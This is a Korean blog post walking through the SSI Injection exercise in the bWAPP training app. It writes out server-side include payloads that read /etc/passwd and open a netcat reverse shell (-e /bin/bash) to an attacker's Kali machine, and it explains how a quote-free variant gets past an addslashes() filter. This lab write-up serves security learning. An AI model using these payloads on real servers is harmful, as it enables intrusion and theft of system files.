SSI는 Server Side Includes를 뜻하는데 이는 방문자 카운터, 홈페이지의 로고를 간단하게 수정하기 위해 사용되며, 형식은 HTML의 주석과 비슷하고 확장자명은 .shtml을 사용한다. 또한, HTML은 사용자의 브라우저에서 처리되는 반면에 SSI는 웹서버에서 처리되며 처리의 결과만이 사용자의 브라우저로 전송된다.
↓Low level
사용자의 ip주소를 출력해주는 SSI Injection페이지이다.
localhost이기 때문에 루프백 주소인 127.0.0.1이 출력된다.
ssii.shtml인 것을 보아 SSI가 사용된 페이지라는 것을 확인할 수 있다.
Last name 입력칸에 <!--#echo var="DATE_LOCAL"-->을 입력한다.
짐작이 가듯 현재 시간을 출력하는 코드이다.
Lookup 버튼을 누르게 되면 현재 시간이 출력되는 것을 확인할 수 있다.
이를 통해 SSI Injection 취약점이 존재한다는 것을 파악했다.
취약점이 존재한다는 것을 파악했으니 이번엔 웹 서버의 사용자들의 패스워드파일을 출력해보자.
First name 입력칸에 <!--#exec cmd="cat /etc/passwd"-->를 입력한다.
그 결과 passwd파일의 내용이 출력되는 것을 확인할 수 있다.
넷캣을 이용해 웹 서버에 연결해보자.
칼리리눅스에서 넷캣을 리스닝 모드로 설정한다.
First name 입력칸에 <!--exec cmd="nc [칼리리눅스 IP] [포트번호] -e /bin/bash" -->와 같이 입력하여 서버에 접속한다.
명령어를 입력하여 서버에 접속된 것을 확인한다.
PHP Code Injection에서 배웠듯 넷캣을 이용해 웹서버에 악의적인 스크립트 파일을 서버에 저장할 수도 있다.
PHP Code Injection 포스팅 주소 : https://hdacker.tistory.com/13
↓Medium level
난이도 중에서도 난이도 하와 같이 취약점이 존재하는지 확인해보자.
난이도 하와 같이 입력했지만 현재시간이 출력되지 않는다.
ssli.php에서 xxs_check_4() 함수가 실행되는 것을 확인할 수 있다.
addslashes() 함수에 의해 SSI인젝션이 성공하지 못한 것을 확인할 수 있다.
하지만 SSI 코드에서 addslashes()함수가 우회하는 문자인 "만 빼면 다시 공격이 먹히게 된다.
난이도 하와 같이 현재시간이 출력되는 것을 확인할 수 있다.
↓High level
난이도 상에서는 입력한 문자열이 그대로 출력된다.
ssli.php에서 xxs_check_3() 함수가 실행되는 것을 확인할 수 있다.
xxs_check_3() 함수는 htmlspecialchars() 함수로 이루어져 있는 것을 확인할 수 있다.
'bWAPP' 카테고리의 다른 글
[비박스] PHP Code Injection (0) | 2020.04.17 |
---|---|
[비박스] OS Command Injection (0) | 2020.04.14 |
[비박스] iFrame Injection (0) | 2020.04.13 |
[비박스] HTML Injection - Stored (Blog) (0) | 2020.04.05 |
[비박스] HTML Injection - Reflected (POST) (0) | 2020.04.04 |